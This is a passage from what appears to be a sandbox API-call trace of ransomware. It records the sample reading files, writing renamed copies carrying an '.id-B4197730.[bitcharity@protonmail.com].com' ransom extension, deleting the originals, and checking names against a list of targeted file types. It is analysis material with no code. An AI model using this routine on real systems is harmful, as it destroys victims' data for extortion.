returned 0x80 [0137.519] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.519] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0137.519] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.519] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0137.520] GetLastError () returned 0x0 [0137.520] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0137.605] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0137.607] ReadFile (in: hFile=0x10c4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.607] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0137.608] SetEndOfFile (hFile=0x103c) returned 1 [0137.608] CloseHandle (hObject=0x103c) returned 1 [0137.613] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.613] SetEndOfFile (hFile=0x10c4) returned 1 [0137.614] CloseHandle (hObject=0x10c4) returned 1 [0137.615] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.615] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0137.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.615] lstrlenW (lpString=".doc") returned 4 [0137.615] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.615] lstrlenW (lpString=".docx") returned 5 [0137.616] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.616] lstrlenW (lpString=".pdf") returned 4 [0137.616] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString=".xls") returned 4 [0137.616] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString=".xlsx") returned 5 [0137.616] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.616] lstrlenW (lpString=".ppt") returned 4 [0137.616] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.616] lstrlenW (lpString=".zip") returned 4 [0137.616] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.616] lstrlenW (lpString=".rar") returned 4 [0137.616] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString=".bz2") returned 4 [0137.616] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString=".7z") returned 3 [0137.616] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.616] lstrlenW (lpString=".dbf") returned 4 [0137.616] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.616] lstrlenW (lpString=".1cd") returned 4 [0137.616] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.616] lstrlenW (lpString=".jpg") returned 4 [0137.616] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.617] lstrlenW (lpString=".doc") returned 4 [0137.617] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString=".docx") returned 5 [0137.617] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0137.617] lstrlenW (lpString=".pdf") returned 4 [0137.617] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString=".xls") returned 4 [0137.617] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString=".xlsx") returned 5 [0137.617] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0137.617] lstrlenW (lpString=".ppt") returned 4 [0137.617] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.617] lstrlenW (lpString=".zip") returned 4 [0137.617] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0137.617] lstrlenW (lpString=".rar") returned 4 [0137.617] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString=".bz2") returned 4 [0137.617] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString=".7z") returned 3 [0137.617] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0137.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.617] lstrlenW (lpString=".dbf") returned 4 [0137.617] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0137.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.617] lstrlenW (lpString=".1cd") returned 4 [0137.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0137.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0137.618] lstrlenW (lpString=".jpg") returned 4 [0137.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0137.618] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0137.618] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0137.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.126] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=272046) returned 1 [0138.126] CloseHandle (hObject=0x108c) returned 1 [0138.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0138.126] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.127] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.127] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0138.127] GetLastError () returned 0x0 [0138.127] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0138.193] WriteFile (in: hFile=0x1084, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0138.199] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.199] WriteFile (in: hFile=0x1084, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xf6, lpOverlapped=0x0) returned 1 [0138.199] SetEndOfFile (hFile=0x1084) returned 1 [0138.200] CloseHandle (hObject=0x1084) returned 1 [0138.210] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.210] SetEndOfFile (hFile=0x108c) returned 1 [0138.214] CloseHandle (hObject=0x108c) returned 1 [0138.214] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.214] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0138.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.215] lstrlenW (lpString=".doc") returned 4 [0138.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString=".docx") returned 5 [0138.215] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0138.215] lstrlenW (lpString=".pdf") returned 4 [0138.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString=".xls") returned 4 [0138.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString=".xlsx") returned 5 [0138.215] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0138.215] lstrlenW (lpString=".ppt") returned 4 [0138.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.215] lstrlenW (lpString=".zip") returned 4 [0138.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.215] lstrlenW (lpString=".rar") returned 4 [0138.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString=".bz2") returned 4 [0138.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString=".7z") returned 3 [0138.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.215] lstrlenW (lpString=".dbf") returned 4 [0138.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.215] lstrlenW (lpString=".1cd") returned 4 [0138.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.216] lstrlenW (lpString=".jpg") returned 4 [0138.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.216] lstrlenW (lpString=".doc") returned 4 [0138.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString=".docx") returned 5 [0138.216] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0138.216] lstrlenW (lpString=".pdf") returned 4 [0138.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString=".xls") returned 4 [0138.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString=".xlsx") returned 5 [0138.216] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0138.216] lstrlenW (lpString=".ppt") returned 4 [0138.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.216] lstrlenW (lpString=".zip") returned 4 [0138.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.216] lstrlenW (lpString=".rar") returned 4 [0138.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString=".bz2") returned 4 [0138.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.216] lstrlenW (lpString=".7z") returned 3 [0138.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.217] lstrlenW (lpString=".dbf") returned 4 [0138.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.217] lstrlenW (lpString=".1cd") returned 4 [0138.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0138.217] lstrlenW (lpString=".jpg") returned 4 [0138.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.217] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0138.217] lstrlenW (lpString="watermark.bmp") returned 13 [0138.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.217] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=104072) returned 1 [0138.218] CloseHandle (hObject=0x108c) returned 1 [0138.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0138.218] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.218] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.218] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0138.219] GetLastError () returned 0x0 [0138.219] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x19688, lpOverlapped=0x0) returned 1 [0138.344] WriteFile (in: hFile=0x1084, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x19690, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x19690, lpOverlapped=0x0) returned 1 [0138.347] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.347] WriteFile (in: hFile=0x1084, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xee, lpOverlapped=0x0) returned 1 [0138.347] SetEndOfFile (hFile=0x1084) returned 1 [0138.347] CloseHandle (hObject=0x1084) returned 1 [0138.352] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.352] SetEndOfFile (hFile=0x108c) returned 1 [0138.354] CloseHandle (hObject=0x108c) returned 1 [0138.354] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.354] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 1 [0138.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.355] lstrlenW (lpString=".doc") returned 4 [0138.355] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".docx") returned 5 [0138.355] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0138.355] lstrlenW (lpString=".pdf") returned 4 [0138.355] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".xls") returned 4 [0138.355] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".xlsx") returned 5 [0138.355] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0138.355] lstrlenW (lpString=".ppt") returned 4 [0138.355] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.355] lstrlenW (lpString=".zip") returned 4 [0138.355] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".rar") returned 4 [0138.355] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".bz2") returned 4 [0138.355] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.355] lstrlenW (lpString=".7z") returned 3 [0138.355] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString=".dbf") returned 4 [0138.356] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString=".1cd") returned 4 [0138.356] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString=".jpg") returned 4 [0138.356] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString=".doc") returned 4 [0138.356] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".docx") returned 5 [0138.356] lstrcmpiW (lpString1=".docx", lpString2="k.bmp") returned -1 [0138.356] lstrlenW (lpString=".pdf") returned 4 [0138.356] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".xls") returned 4 [0138.356] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".xlsx") returned 5 [0138.356] lstrcmpiW (lpString1=".xlsx", lpString2="k.bmp") returned -1 [0138.356] lstrlenW (lpString=".ppt") returned 4 [0138.356] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.356] lstrlenW (lpString=".zip") returned 4 [0138.356] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".rar") returned 4 [0138.356] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".bz2") returned 4 [0138.356] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0138.356] lstrlenW (lpString=".7z") returned 3 [0138.356] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0138.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.357] lstrlenW (lpString=".dbf") returned 4 [0138.357] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0138.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.357] lstrlenW (lpString=".1cd") returned 4 [0138.357] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0138.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\watermark.bmp") returned 35 [0138.357] lstrlenW (lpString=".jpg") returned 4 [0138.357] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0138.357] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.357] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0138.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.357] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=4450) returned 1 [0138.357] CloseHandle (hObject=0x108c) returned 1 [0138.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0138.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0138.358] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.358] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0138.360] GetLastError () returned 0x0 [0138.360] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1162, lpOverlapped=0x0) returned 1 [0138.542] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1170, lpOverlapped=0x0) returned 1 [0138.781] ReadFile (in: hFile=0x108c, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.781] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x108, lpOverlapped=0x0) returned 1 [0138.781] SetEndOfFile (hFile=0x1080) returned 1 [0138.782] CloseHandle (hObject=0x1080) returned 1 [0138.785] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 